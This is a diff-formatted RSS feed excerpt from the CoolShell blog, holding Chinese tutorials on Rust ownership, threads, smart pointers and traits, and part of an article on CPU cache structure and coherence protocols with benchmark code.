    +println!("num(move)={}", num); //输出5
    +

    真是有点头大了,int这样的类型,因为实现了Copy Trait,所以,所有权被移走后,意味着,在内嵌块中的num 和外层的 num 是两个完全不相干的变量。但是你在读代码的时候,你的大脑可能并不会让你这么想,因为里面的那个num又没有被声明过,应该是外层的。我个人觉得这是Rust 各种“按下葫芦起了瓢”的现象。

    +
    线程闭包
    +

    通过上面的示例,我们可以看到, move 关键词,可以把闭包外使用到的变量给移动到闭包内,成为闭包内的一个局部变量。这种方式,在多线程的方式下可以让线程运行地更为的安全。参看如下代码:

    +
    let name = "CoolShell".to_string();
    +let t = thread::spawn(move || {
    +    println!("Hello, {}", name);
    +});
    +println!("wait {:?}", t.join());
    +

    首先,线程 thread::spawn() 里的闭包函数是不能带参数的,因为是闭包,所以可以使用这个可见范围内的变量,但是,问题来了,因为是另一个线程,所以,这代表其和其它线程(如:主线程)开始共享数据了,所以,在Rust下,要求把使用到的变量给 Move 到线程内,这就保证了安全的问题—— name 在编程中永远不会失效,而且不会被别人改了。

    +

    你可能会有一些疑问,你会质疑到

    +
      +
    • 一方面,这个 name 变量又没有声明成 mut 这意味着不变,没必要使用move语义也是安全的。
    • +
    • 另一方面,如果我想把这个 name 传递到多个线程里呢?
    • +
    +

    嗯,是的,但是Rust的线程必需是 move的,不管是不是可变的,不然编译不过去。如果你想把一个变量传到多个线程中,你得创建变量的复本,也就是调用 clone() 方法。

    +
    let name = "CoolShell".to_string();
    +let name1 = name.clone();
    +let t1 = thread::spawn(move || {
    +    println!("Hello, {}", name.clone());
    +})
    +let t2 = thread::spawn(move || {
    +    println!("Hello, {}", name1.clone());
    +});
    +println!("wait t1={:?}, t2={:?}", t1.join(), t2.join());
    +

    然后,你说,这种clone的方式成本不是很高?设想,如果我要用多线程对一个很大的数组做统计,这种clone的方式完全吃不消。嗯,是的。这个时候,需要使用另一个技术,智能指针了。

    +

    Rust的智能指针

    +

    如果你看到这里还不晕的话,那么,我的文章还算成功(如果晕的话,请告诉我,我会进行改善)。接下来我们来讲讲Rust的智能指针和多态。

    +

    因为有些内存需要分配在Heap(堆)上,而不是Stack(堆)上,Stack上的内存一般是编译时决定的,所以,编译器需要知道你的数组、结构构、枚举等这些数据类型的长度,没有长度是无法编译的,而且长度也不能太大,Stack上的内存大小是有限,太大的内存会有StackOverflow的错误。所以,对于更大的内存或是动态的内存分配需要分配在Heap上。学过C/C++的同学对于这个概念不会陌生。

    +

    Rust 作为一个内存安全的语言,这个堆上分配的内存也是需要管理的。在C中,需要程序员自己管理,而在C++中,一般使用 RAII 的机制(面向对象的代理模式),一种通过分配在Stack上的对象来管理Heap上的内存的技术。在C++中,这种技术的实现叫“智能指针”(Smart Pointer)。

    +

    在C++11中,会有三种智能指针(这三种指针是什么我就不多说了):

    +
      +
    • unique_ptr。独占内存,不共享。在Rust中是:std::boxed::Box
    • +
    • shared_ptr。以引用计数的方式共享内存。在Rust中是:std::rc::Rc
    • +
    • weak_ptr。不以引用计数的方式共享内存。在Rust中是:std::rc::Weak
    • +
    +

    对于独占的 Box 不多说了,这里重点说一下共享的 RcWeak

    +
      +
    • 对于Rust的 Rc 来说,Rc指针内会有一个 strong_count 的引用持计数,一旦引用计数为0后,内存就自动释放了。
    • +
    • 需要共享内存的时候,需要调用实例的 clone() 方法。如: let another = rc.clone() 克隆的时候,只会增加引用计数,不会作深度复制(个人觉得Clone的语义在这里被践踏了)
    • +
    • 有这种共享的引用计数,就意味着有多线程的问题,所以,如果需要使用线程安全的智能指针,则需要使用std::sync::Arc
    • +
    • 可以使用 Rc::downgrade(&rc) 后,会变成 Weak 指针,Weak指针增加的是 weak_count 的引用计数,内存释放时不会检查它是否为 0。
    • +
    +

    我们简单的来看个示例:

    +
    use std::rc::Rc;
    +use std::rc::Weak
    +
    +//声明两个未初始化的指针变量
    +let weak : Weak; 
    +let strong : Rc;
    +{
    +    let five = Rc::new(5); //局部变量
    +    strong = five.clone(); //进行强引用
    +    weak = Rc::downgrade(&five); //对局部变量进行弱引用
    +}
    +//此时,five已析构,所以 Rc::strong_count(&strong)=1, Rc::weak_count(&strong)=1
    +//如果调用 drop(strong),那个整个内存就释放了
    +//drop(strong);
    +
    +//如果要访问弱引用的值,需要把弱引用 upgrade 成强引用,才能安全的使用
    +match  weak_five.upgrade() {
    +    Some(r) => println!("{}", r),
    +    None => println!("None"),
    +} 
    +
    +

    上面这个示例比较简单,其中主要展示了,指针共享的东西。因为指针是共享的,所以,对于强引用来说,最后的那个人把引用给释放了,是安全的。但是对于弱引用来说,这就是一个坑了,你们强引用的人有Ownership,但是我们弱引用没有,你们把内存释放了,我怎么知道?

    +

    于是,在弱引用需要使用内存的时候需要“升级”成强引用 ,但是这个升级可能会不成功,因为内存可能已经被别人清空了。所以,这个操作会返回一个 Option 的枚举值,Option::Some(T) 表示成功了,而 Option::None 则表示失改了。你会说,这么麻烦,我们为什么还要 Weak ? 这是因为强引用的 Rc 会有循环引用的问题……(学过C++的都应该知道)

    +

    另外,如果你要修改 Rc 里的值,Rust 会给你两个方法,一个是 get_mut(),一个是 make_mut() ,这两个方法都有副作用或是限制。

    +

    get_mut() 需要做一个“唯一引用”的检查,也就是没有任何的共享才能修改

    +
    //修改引用的变量 - get_mut 会返回一个Option对象
    +//但是需要注意,仅当(只有一个强引用 && 没有弱引用)为真才能修改
    +if let Some(val) = Rc::get_mut(&mut strong) {
    +    *val = 555;
    +}
    +

    make_mut() 则是会把当前的引用给clone出来,再也不共享了, 是一份全新的。

    +
    //此处可以修改,但是是以 clone 的方式,也就是让strong这个指针独立出来了。
    +*Rc::make_mut(&mut strong) = 555;
    +
    +

    如果不这样做,就会出现很多内存不安全的情况。这些小细节一定要注意,不然你的代码怎么运作的你会一脸蒙逼的

    +

    嗯,如果你想更快乐地使用智能指针,这里还有个选择 – CellRefCell,它们弥补了 Rust 所有权机制在灵活性上和某些场景下的不足。他们提供了 set()/get() 以及 borrow()/borrow_mut() 的方法,让你的程序更灵活,而不会被限制得死死的。参看下面的示例。

    +
    use std::cell::Cell;
    +use std::cell::RefCell
    +
    +let x = Cell::new(1);
    +let y = &x; //引用(借用)
    +let z = &x; //引用(借用)
    +x.set(2); // 可以进行修改,x,y,z全都改了
    +y.set(3);
    +z.set(4);
    +println!("x={} y={} z={}", x.get(), y.get(), z.get());
    +
    +let x = RefCell::new(vec![1,2,3,4]);
    +{
    +    println!("{:?}", *x.borrow())
    +}
    +
    +{
    +    let mut my_ref = x.borrow_mut();
    +    my_ref.push(1);
    +}
    +println!("{:?}", *x.borrow());
    +

    通过上面的示例你可以看到你可以比较方便地更为正常的使用智能指针了。然而,需要注意的是 CellRefCell 不是线程安全的。在多线程下,需要使用Mutex进行互斥。

    +

    线程与智能指针

    +

    现在,我们回来来解决前面那还没有解决的问题,就是——我想在多个线程中共享一个只读的数据,比如:一个很大的数组,我开多个线程进行并行统计。我们肯定不能对这个大数组进行clone,但也不能把这个大数组move到一个线程中。根据上述的智能指针的逻辑,我们可以通过智指指针来完成这个事,下面是一个例程:

    +
    const TOTAL_SIZE:usize = 100 * 1000; //数组长度
    +const NTHREAD:usize = 6; //线程数
    +
    +let data : Vec<i32> = (1..(TOTAL_SIZE+1) as i32).collect(); //初始化一个数据从1到n数组
    +let arc_data = Arc::new(data); //data 的所有权转给了 ar_data
    +let result  = Arc::new(AtomicU64::new(0)); //收集结果的数组(原子操作)
    +
    +let mut thread_handlers = vec![]; // 用于收集线程句柄
    +
    +for i in 0..NTHREAD {
    +    // clone Arc 准备move到线程中,只增加引用计数,不会深拷贝内部数据
    +    let test_data = arc_data.clone(); 
    +    let res = result.clone(); 
    +    thread_handlers.push( 
    +        thread::spawn(move || {
    +            let id = i;
    +            //找到自己的分区
    +            let chunk_size = TOTAL_SIZE / NTHREAD + 1;
    +            let start = id * chunk_size;
    +            let end = std::cmp::min(start + chunk_size, TOTAL_SIZE);
    +            //进行求和运算
    +            let mut sum = 0;
    +            for  i in start..end  {
    +                sum += test_data[i];
    +            }
    +            //原子操作
    +            res.fetch_add(sum as u64, Ordering::SeqCst);
    +            println!("id={}, sum={}", id, sum );
    +        }
    +    ));
    +}
    +//等所有的线程执行完
    +for th in thread_handlers {
    +    th.join().expect("The sender thread panic!!!");
    +}
    +//输出结果
    +println!("result = {}",result.load(Ordering::SeqCst));
    +

    上面的这个例程,是用多线程的方式来并行计算一个大的数组的和,每个线程都会计算自己的那一部分。上面的代码中,

    +
      +
    • 需要向每个线程传入一个只读的数组,我们用Arc 智能指针把这个数组包了一层。
    • +
    • 需要向每个线程传入一个变量用于数据数据,我们用 Arc<AtomicU64> 包了一层。
    • +
    • 注意:Arc 所包的对象是不可变的,所以,如果要可变的,那要么用原子对象,或是用Mutex/Cell对象再包一层。
    • +
    +

    这一些都是为了要解决“线程的Move语义后还要共享问题”。

    +

    多态和运行时识别

    +
    通过Trait多态
    +

    多态是抽象和解耦的关键,所以,一个高级的语言是必需实现多态的。在C++中,多态是通过虚函数表来实现的(参看《C++的虚函数表》),Rust也很类似,不过,在编程范式上,更像Java的接口的方式。其通过借用于Erlang的Trait对象的方式来完成。参看下面的代码:

    +
    struct Rectangle {
    +    width : u32,
    +    height : u32,
    +} 
    +
    +struct Circle {
    +    x : u32,
    +    y : u32,
    +    radius : u32,
    +}
    +
    +trait  IShape  { 
    +    fn area(&self) -> f32;
    +    fn to_string(&self) -> String;
    +}
    +

    我们有两个类,一个是“长方形”,一个是“圆形”, 还有一个 IShape 的trait 对象(原谅我用了Java的命名方式),其中有两个方法:求面积的 area() 和 转字符串的 to_string()。下面相关的实现:

    +
    impl IShape  for Rectangle {
    +    fn area(&self) -> f32 { (self.height * self.width) as f32 }
    +    fn to_string(&self) ->String {
    +         format!("Rectangle -> width={} height={} area={}", 
    +                  self.width, self.height, self.area())
    +    }
    +}
    +
    +use std::f64::consts::PI;
    +impl IShape  for Circle  {
    +    fn area(&self) -> f32 { (self.radius * self.radius) as f32 * PI as f32}
    +    fn to_string(&self) -> String {
    +        format!("Circle -> x={}, y={}, area={}", 
    +                 self.x, self.y, self.area())
    +    }
    +}
    +
    +

    于是,我们就可以有下面的多态的使用方式了(我们使用独占的智能指针类 Box):

    +
    use std::vec::Vec;
    +
    +let rect = Box::new( Rectangle { width: 4, height: 6});
    +let circle = Box::new( Circle { x: 0, y:0, radius: 5});
    +let mut v : Vec<Box> = Vec::new();
    +v.push(rect);
    +v.push(circle);
    +
    +for i in v.iter() {
    +   println!("area={}", i.area() );
    +   println!("{}", i.to_string() );
    +}
    +
    向下转型
    +

    但是,在C++中,多态的类型是抽象类型,我们还想把其转成实际的具体类型,在C++中叫运行进实别RTTI,需要使用像 type_id 或是 dynamic_cast 这两个技术。在Rust中,转型是使用 ‘as‘ 关键字,然而,这是编译时识别,不是运行时。那么,在Rust中是怎么做呢?

    +

    嗯,这里需要使用 Rust 的 std::any::Any 这个东西,这个东西就可以使用 downcast_ref 这个东西来进行具体类型的转换。于是我们要对现有的代码进行改造。

    +

    首先,先得让 IShape 继承于 Any ,并增加一个 as_any() 的转型接口。

    +
    use std::any::Any;
    +trait  IShape : Any + 'static  {
    +    fn as_any(&self) -> &dyn Any; 
    +    …… …… …… 
    +}
    +

    然后,在具体类中实现这个接口:

    +
    impl IShape  for Rectangle {
    +    fn as_any(&self) -> &dyn Any { self }
    +    …… …… …… 
    +}
    +impl IShape  for Circle  {
    +    fn as_any(&self) -> &dyn Any { self }
    +    …… …… …… 
    +}
    +

    于是,我们就可以进行运行时的向下转型了:

    +
    let mut v : Vec<Box<dyn IShape>> = Vec::new();
    +v.push(rect);
    +v.push(circle);
    +for i in v.iter() {
    +    if let Some(s) = i.as_any().downcast_ref::<Rectangle>() {
    +        println!("downcast - Rectangle w={}, h={}", s.width, s.height);
    +    }else if let Some(s) = i.as_any().downcast_ref::<Circle>() {
    +        println!("downcast - Circle x={}, y={}, r={}", s.x, s.y, s.radius);
    +    }else{
    +        println!("invaild type");
    +    }
    +}
    +

    Trait 重载操作符

    +

    操作符重载对进行泛行编程是非常有帮助的,如果所有的对象都可以进行大于,小于,等于这亲的比较操作,那么就可以直接放到一个标准的数组排序的的算法中去了。在Rust中,在 std::ops 下有全载的操作符重载的Trait,在std::cmp 下则是比较操作的操作符。我们下面来看一个示例:

    +

    假如我们有一个“员工”对象,我们想要按员工的薪水排序,如果我们想要使用Vec::sort()方法,我们就需要实现这个对象的各种“比较”方法。这些方法在 std::cmp 内—— 其中有四个Trait : OrdPartialOrdEqPartialEq  。其中,Ord 依赖于 PartialOrdEq ,而Eq 依赖于 PartialEq,这意味着你需要实现所有的Trait,而Eq 这个Trait 是没有方法的,所以,其实现如下:

    +
    use std::cmp::{Ord, PartialOrd, PartialEq, Ordering};
    +
    +#[derive(Debug)]
    +struct Employee {
    +    name : String,
    +    salary : i32,
    +}
    +impl Ord for Employee {
    +    fn cmp(&self, rhs: &Self) -> Ordering {
    +        self.salary.cmp(&rhs.salary)
    +    }
    +}
    +impl PartialOrd for Employee {
    +    fn partial_cmp(&self, rhs: &Self) -> Option<Ordering> {
    +        Some(self.cmp(rhs))
    +    }
    +}
    +impl Eq for Employee {
    +}
    +impl PartialEq for Employee {
    +    fn eq(&self, rhs: &Self) -> bool {
    +        self.salary == rhs.salary
    +    }
    +}
    +

    于是,我们就可以进行如下的操作了:

    +
    let mut v = vec![
    +    Employee {name : String::from("Bob"),     salary: 2048},
    +    Employee {name : String::from("Alice"),   salary: 3208},
    +    Employee {name : String::from("Tom"),     salary: 2359},
    +    Employee {name : String::from("Jack"),    salary: 4865},
    +    Employee {name : String::from("Marray"),  salary: 3743},
    +    Employee {name : String::from("Hao"),     salary: 2964},
    +    Employee {name : String::from("Chen"),    salary: 4197},
    +];
    +
    +//用for-loop找出薪水最多的人
    +let mut e = &v[0];
    +for i in 0..v.len() {
    +    if *e < v[i] { 
    +        e = &v[i]; 
    +    }
    +}
    +println!("max = {:?}", e);
    +
    +//使用标准的方法
    +println!("min = {:?}", v.iter().min().unwrap());
    +println!("max = {:?}", v.iter().max().unwrap());
    +
    +//使用标准的排序方法
    +v.sort();
    +println!("{:?}", v);
    +

    小结

    +

    现在我们来小结一下:

    +
      +
    • 在Rust的中,最重要的概念就是“不可变”和“所有权”以及“Trait”这三个概念。
    • +
    • 在所有权概念上,Rust喜欢move所有权,如果需要借用则需要使用引用。
    • +
    • Move所有权会导致一些编程上的复杂度,尤其是需要同时move两个变量时。
    • +
    • 引用(借用)的问题是生命周期的问题,一些时候需要程序员来标注生命周期。
    • +
    • 在函数式的闭包和多线程下,这些所有权又出现了各种麻烦事。
    • +
    • 使用智能指针可以解决所有权和借用带来的复杂度,但带来其它的问题。
    • +
    • 最后介绍了Rust的Trait对象完成多态和函数重载的玩法。
    • +
    +

    Rust是一个比较严格的编程语言,它会严格检查你程序中的:

    +
      +
    • 变量是否是可变的
    • +
    • 变量的所有权是否被移走了
    • +
    • 引用的生命周期是否完整
    • +
    • 对象是否需要实现一些Trait
    • +
    +

    这些东西都会导致失去编译的灵活性,并在一些时候需要“去糖”,导致,你在使用Rust会有诸多的不适应,程序编译不过的挫败感也是令人沮丧的。在初学Rust的时候,我想自己写一个单向链表,结果,费尽心力,才得以完成。也就是说,如果你对Rust的概念认识的不完整,你完全写不出程序,那怕就是很简单的一段代码。我觉得,这种挺好的,逼着程序员必需了解所有的概念才能编码。但是,另一方面也表明了这门语言并不适合初学者。

    +

    没有银弹,任何语言都有些适合的地方和场景。

    +

    (全文完)

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/20845.html/feed + 46 + + +
    + + 与程序员相关的CPU缓存知识 + https://coolshell.cn/articles/20793.html + https://coolshell.cn/articles/20793.html#comments + + + Sun, 01 Mar 2020 19:43:41 +0000 + + + + + + https://coolshell.cn/?p=20793 + + Read More Read More

    ]]>
    + 好久没有写一些微观方面的文章了,今天写一篇关于CPU Cache相关的文章,这篇文章比较长,主要分成这么几个部分:基础知识、缓存的命中、缓存的一致性、相关的代码示例和延伸阅读。其中会讲述一些多核 CPU 的系统架构以及其原理,包括对程序性能上的影响,以及在进行并发编程的时候需要注意到的一些问题。这篇文章我会尽量地写简单和通俗易懂一些,主要是讲清楚相关的原理和问题,而对于一些细节和延伸阅读我会在文章最后会给出相关的资源。

    +

    因为无论你写什么样的代码都会交给CPU来执行,所以,如果你想写出性能比较高的代码,这篇文章中提到的技术还是值得认真学习的。另外,千万别觉得这些东西没用,这些东西非常有用,十多年前就是这些知识在性能调优上帮了我的很多大忙,从而跟很多人拉开了差距……

    +

    基础知识

    +

    首先,我们都知道现在的CPU多核技术,都会有几级缓存,老的CPU会有两级内存(L1和L2),新的CPU会有三级内存(L1,L2,L3 ),如下图所示:

    +

    +

    其中:

    +
      +
    • L1缓分成两种,一种是指令缓存,一种是数据缓存。L2缓存和L3缓存不分指令和数据。
    • +
    • L1和L2缓存在每一个CPU核中,L3则是所有CPU核心共享的内存。
    • +
    • L1、L2、L3的越离CPU近就越小,速度也越快,越离CPU远,速度也越慢。
    • +
    +

    再往后面就是内存,内存的后面就是硬盘。我们来看一些他们的速度:

    +
      +
    • L1 的存取速度:
    • +
    • L2 的存取速度:
    • +
    • L3 的存取速度:
    • +
    • RAM内存的存取速度
    • +
    +

    我们可以看到,L1的速度是RAM的27倍,但是L1/L2的大小基本上也就是KB级别的,L3会是MB级别的。例如:Intel Core i7-8700K ,是一个6核的CPU,每核上的L1是64KB(数据和指令各32KB),L2 是 256K,L3有2MB(我的苹果电脑是 Intel Core i9-8950HK,和Core i7-8700K的Cache大小一样)。

    +

    我们的数据就从内存向上,先到L3,再到L2,再到L1,最后到寄存器进行CPU计算。为什么会设计成三层?这里有下面几个方面的考虑:

    +
      +
    • 一个方面是物理速度,如果要更大的容量就需要更多的晶体管,除了芯片的体积会变大,更重要的是大量的晶体管会导致速度下降,因为访问速度和要访问的晶体管所在的位置成反比,也就是当信号路径变长时,通信速度会变慢。这部分是物理问题。
    • +
    • 另外一个问题是,多核技术中,数据的状态需要在多个CPU中进行同步,并且,我们可以看到,cache和RAM的速度差距太大,所以,多级不同尺寸的缓存有利于提高整体的性能。
    • +
    +

    这个世界永远是平衡的,一面变得有多光鲜,另一面也会变得有多黑暗。建立这么多级的缓存,一定就会引入其它的问题,这里有两个比较重要的问题,

    +
      +
    • 一个是比较简单的缓存的命中率的问题。
    • +
    • 另一个是比较复杂的缓存更新的一致性问题。
    • +
    +

    尤其是第二个问题,在多核技术下,这就很像分布式的系统了,要对多个地方进行更新。

    +

    缓存的命中

    +

    在说明这两个问题之前。我们需要要解一个术语 Cache Line。缓存基本上来说就是把后面的数据加载到离自己近的地方,对于CPU来说,它是不会一个字节一个字节的加载的,因为这非常没有效率,一般来说都是要一块一块的加载的,对于这样的一块一块的数据单位,术语叫“Cache Line”,一般来说,一个主流的CPU的Cache Line 是 64 Bytes(也有的CPU用32Bytes和128Bytes),64Bytes也就是16个32位的整型,这就是CPU从内存中捞数据上来的最小数据单位。

    +

    比如:Cache Line是最小单位(64Bytes),所以先把Cache分布多个Cache Line,比如:L1有32KB,那么,32KB/64B = 512 个 Cache Line。

    +

    一方面,缓存需要把内存里的数据放到放进来,英文叫 CPU Associativity。Cache的数据放置的策略决定了内存中的数据块会拷贝到CPU Cache中的哪个位置上,因为Cache的大小远远小于内存,所以,需要有一种地址关联的算法,能够让内存中的数据可以被映射到Cache中来。这个有点像内存地址从逻辑地址向物理地址映射的方法,但不完全一样。

    +

    基本上来说,我们会有如下的一些方法。

    +
      +
    • 一种方法是,任何一个内存地址的数据可以被缓存在任何一个Cache Line里,这种方法是最灵活的,但是,如果我们要知道一个内存是否存在于Cache中,我们就需要进行O(n)复杂度的Cache遍历,这是很没有效率的。
    • +
    • 另一种方法,为了降低缓存搜索算法,我们需要使用像Hash Table这样的数据结构,最简单的hash table就是做“求模运算”,比如:我们的L1 Cache有512个Cache Line,那么,公式:(内存地址 mod 512)* 64 就可以直接找到所在的Cache地址的偏移了。但是,这样的方式需要我们的程序对内存地址的访问要非常地平均,不然冲突就会非常严重。这成了一种非常理想的情况了。
    • +
    • 为了避免上述的两种方案的问题,于是就要容忍一定的hash冲突,也就出现了 N-Way 关联。也就是把连续的N个Cache Line绑成一组,然后,先把找到相关的组,然后再在这个组内找到相关的Cache Line。这叫 Set Associativity。如下图所示。
    • +
    +

    +

    对于 N-Way 组关联,可能有点不好理解,这里个例子,并多说一些细节(不然后面的代码你会不能理解),Intel 大多数处理器的L1 Cache都是32KB,8-Way 组相联,Cache Line 是64 Bytes。这意味着,

    +
      +
    • 32KB的可以分成,32KB / 64 = 512 条 Cache Line。
    • +
    • 因为有8 Way,于是会每一Way 有 512 / 8 = 64 条 Cache Line。
    • +
    • 于是每一路就有 64 x 64 = 4096 Byts 的内存。
    • +
    +

    为了方便索引内存地址,

    +
      +
    • Tag:每条 Cache Line 前都会有一个独立分配的 24 bits来存的 tag,其就是内存地址的前24bits
    • +
    • Index:内存地址后续的6个bits则是在这一Way的是Cache Line 索引,2^6 = 64 刚好可以索引64条Cache Line
    • +
    • Offset:再往后的6bits用于表示在Cache Line 里的偏移量
    • +
    +

    如下图所示:(图片来自《Cache: a place for concealment and safekeeping》)

    +

    当拿到一个内存地址的时候,先拿出中间的 6bits 来,找到是哪组。

    +

    +

    然后,在这一个8组的cache line中,再进行O(n) n=8 的遍历,主是要匹配前24bits的tag。如果匹配中了,就算命中,如果没有匹配到,那就是cache miss,如果是读操作,就需要进向后面的缓存进行访问了。L2/L3同样是这样的算法。而淘汰算法有两种,一种是随机一种是LRU。现在一般都是以LRU的算法(通过增加一个访问计数器来实现)

    +

    +

    这也意味着:

    +
      +
    • L1 Cache 可映射 36bits 的内存地址,一共 2^36 = 64GB的内存
    • +
    • 当CPU要访问一个内存的时候,通过这个内存中间的6bits 定位是哪个set,通过前 24bits 定位相应的Cache Line。
    • +
    • 就像一个hash Table的数据结构一样,先是O(1)的索引,然后进入冲突搜索。
    • +
    • 因为中间的 6bits 决定了一个同一个set,所以,对于一段连续的内存来说,每隔4096的内存会被放在同一个组内,导致缓存冲突。
    • +
    +

    此外,当有数据没有命中缓存的时候,CPU就会以最小为Cache Line的单元向内存更新数据。当然,CPU并不一定只是更新64Bytes,因为访问主存实在是太慢了,所以,一般都会多更新一些。好的CPU会有一些预测的技术,如果找到一种pattern的话,就会预先加载更多的内存,包括指令也可以预加载。这叫 Prefetching 技术 (参看,Wikipedia 的 Cache Prefetching纽约州立大学的 Memory Prefetching)。比如,你在for-loop访问一个连续的数组,你的步长是一个固定的数,内存就可以做到prefetching。(注:指令也是以预加载的方式执行,参看本站的《代码执行的效率》中的第三个示例)

    +

    了解这些细节,会有利于我们知道在什么情况下有可以导致缓存的失效。

    +

    缓存的一致性

    +

    对于主流的CPU来说,缓存的写操作基本上是两种策略(参看本站《缓存更新的套路》),

    +
      +
    • 一种是Write Back,写操作只要在cache上,然后再flush到内存上。
    • +
    • 一种是Write Through,写操作同时写到cache和内存上。
    • +
    +

    为了提高写的性能,一般来说,主流的CPU(如:Intel Core i7/i9)采用的是Write Back的策略,因为直接写内存实在是太慢了。

    +

    好了,现在问题来了,如果有一个数据 x 在 CPU 第0核的缓存上被更新了,那么其它CPU核上对于这个数据 x 的值也要被更新,这就是缓存一致性的问题。(当然,对于我们上层的程序我们不用关心CPU多个核的缓存是怎么同步的,这对上层的代码来说都是透明的)

    +

    一般来说,在CPU硬件上,会有两种方法来解决这个问题。

    +
      +
    • Directory 协议。这种方法的典型实现是要设计一个集中式控制器,它是主存储器控制器的一部分。其中有一个目录存储在主存储器中,其中包含有关各种本地缓存内容的全局状态信息。当单个CPU Cache 发出读写请求时,这个集中式控制器会检查并发出必要的命令,以在主存和CPU Cache之间或在CPU Cache自身之间进行数据同步和传输。
    • +
    • Snoopy 协议。这种协议更像是一种数据通知的总线型的技术。CPU Cache通过这个协议可以识别其它Cache上的数据状态。如果有数据共享的话,可以通过广播机制将共享数据的状态通知给其它CPU Cache。这个协议要求每个CPU Cache 都可以窥探数据事件的通知并做出相应的反应。如下图所示,有一个Snoopy Bus的总线。
    • +
    +

    +

    因为Directory协议是一个中心式的,会有性能瓶颈,而且会增加整体设计的复杂度。而Snoopy协议更像是微服务+消息通讯,所以,现在基本都是使用Snoopy的总线的设计。

    +

    这里,我想多写一些细节,因为这种微观的东西,不自然就就会更分布式系统相关联,在分布式系统中我们一般用Paxos/Raft这样的分布式一致性的算法。而在CPU的微观世界里,则不必使用这样的算法,原因是因为CPU的多个核的硬件不必考虑网络会断会延迟的问题。所以,CPU的多核心缓存间的同步的核心就是要管理好数据的状态就好了。

    +

    这里介绍几个状态协议,先从最简单的开始,MESI协议,这个协议跟那个著名的足球运动员梅西没什么关系,其主要表示缓存数据有四个状态:Modified(已修改), Exclusive(独占的),Shared(共享的),Invalid(无效的)。

    +

    这些状态的状态机如下所示(有点复杂,你可以先不看,这个图就是想告诉你状态控制有多复杂):

    +

    +

    下面是个示例(如果你想看一下动画演示的话,这里有一个网页(MESI Interactive Animations),你可以进行交互操作,这个动画演示中使用的Write Through算法):

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    当前操作CPU0CPU1Memory说明
    1) CPU0 read(x) x=1 (E)x=1只有一个CPU有 x 变量,
    +所以,状态是 Exclusive
    2) CPU1 read(x) x=1 (S)x=1(S)x=1有两个CPU都读取 x 变量,
    +所以状态变成 Shared
    3) CPU0 write(x,9) x=9 (M)x=1(I)x=1变量改变,在CPU0中状态
    +变成 Modified,在CPU1中
    +状态变成 Invalid
    4) 变量 x 写回内存 x=9 (M)X=1(I)x=9目前的状态不变
    5) CPU1  read(x) x=9 (S)x=9(S)x=9变量同步到所有的Cache中,
    +状态回到Shared
    +

     

    +

    MESI 这种协议在数据更新后,会标记其它共享的CPU缓存的数据拷贝为Invalid状态,然后当其它CPU再次read的时候,就会出现 cache miss 的问题,此时再从内存中更新数据。从内存中更新数据意味着20倍速度的降低。我们能不能直接从我隔壁的CPU缓存中更新?是的,这就可以增加很多速度了,但是状态控制也就变麻烦了。还需要多来一个状态:Owner(宿主),用于标记,我是更新数据的源。于是,现了 MOESI 协议

    +

    MOESI协议的状态机和演示示例我就不贴了,我们只需要理解MOESI协议允许 CPU Cache 间同步数据,于是也降低了对内存的操作,性能是非常大的提升,但是控制逻辑也非常复杂。

    +

    顺便说一下,与 MOESI 协议类似的一个协议是 MESIF,其中的 F 是 Forward,同样是把更新过的数据转发给别的 CPU Cache 但是,MOESI 中的 Owner 状态 和MESIF 中的 Forward 状态有一个非常大的不一样—— Owner状态下的数据是dirty的,还没有写回内存,Forward状态下的数据是clean的,可以丢弃而不用另行通知

    +

    需要说明的是,AMD用MOESI,Intel用MESIF。所以,F 状态主要是针对 CPU L3 Cache 设计的(前面我们说过,L3是所有CPU核心共享的)。(相关的比较可以参看StackOverlow上这个问题的答案

    +

    程序性能

    +

    了解了我们上面的这些东西后,我们来看一下对于程序的影响。

    +
    示例一
    +

    首先,假设我们有一个64M长的数组,设想一下下面的两个循环:

    +

    +const int LEN = 64*1024*1024;
    +int *arr = new int[LEN];
    +
    +for (int i = 0; i < LEN; i += 2) arr[i] *= i;
    +
    +for (int i = 0; i < LEN; i += 8) arr[i] *= i;
    +

    +

    按我们的想法来看,第二个循环要比第一个循环少4倍的计算量,其应该也是要快4倍的。但实际跑下来并不是,在我的机器上,第一个循环需要127毫秒,第二个循环则需要121毫秒,相差无几。这里最主要的原因就是 Cache Line,因为CPU会以一个Cache Line 64Bytes最小时单位加载,也就是16个32bits的整型,所以,无论你步长是2还是8,都差不多。而后面的乘法其实是不耗CPU时间的。

    +
    示例二
    +

    我们再来看一个与缓存命中率有关的代码,我们以一定的步长increment 来访问一个连续的数组。

    +

    +for (int i = 0; i < 10000000; i++) {
    +    for (int j = 0; j < size; j += increment) {
    +        memory[j] += j;
    +    }
    +}
    +

    +

    我们测试一下,在下表中, 表头是步长,也就是每次跳多少个整数,而纵向是这个数组可以跳几次(你可以理解为要几条Cache Line),于是表中的任何一项代表了这个数组有多少,而且步长是多少。比如:横轴是 512,纵轴是4,意思是,这个数组有 4*512 = 2048 个长度,访问时按512步长访问,也就是访问其中的这几项:[0, 512, 1024, 1536] 这四项。

    +

    表中同的项是,是循环1000万次的时间,单位是“微秒”(除以1000后是毫秒)

    +
    | count |   1    |   16  |  512  | 1024  |
    +------------------------------------------
    +|     1 |  17539 | 16726 | 15143 | 14477 |
    +|     2 |  15420 | 14648 | 13552 | 13343 |
    +|     3 |  14716 | 14463 | 15086 | 17509 |
    +|     4 |  18976 | 18829 | 18961 | 21645 |
    +|     5 |  23693 | 23436 | 74349 | 29796 |
    +|     6 |  23264 | 23707 | 27005 | 44103 |
    +|     7 |  28574 | 28979 | 33169 | 58759 |
    +|     8 |  33155 | 34405 | 39339 | 65182 |
    +|     9 |  37088 | 37788 | 49863 |156745 |
    +|    10 |  41543 | 42103 | 58533 |215278 |
    +|    11 |  47638 | 50329 | 66620 |335603 |
    +|    12 |  49759 | 51228 | 75087 |305075 |
    +|    13 |  53938 | 53924 | 77790 |366879 |
    +|    14 |  58422 | 59565 | 90501 |466368 |
    +|    15 |  62161 | 64129 | 90814 |525780 |
    +|    16 |  67061 | 66663 | 98734 |440558 |
    +|    17 |  71132 | 69753 |171203 |506631 |
    +|    18 |  74102 | 73130 |293947 |550920 |
    +
    +

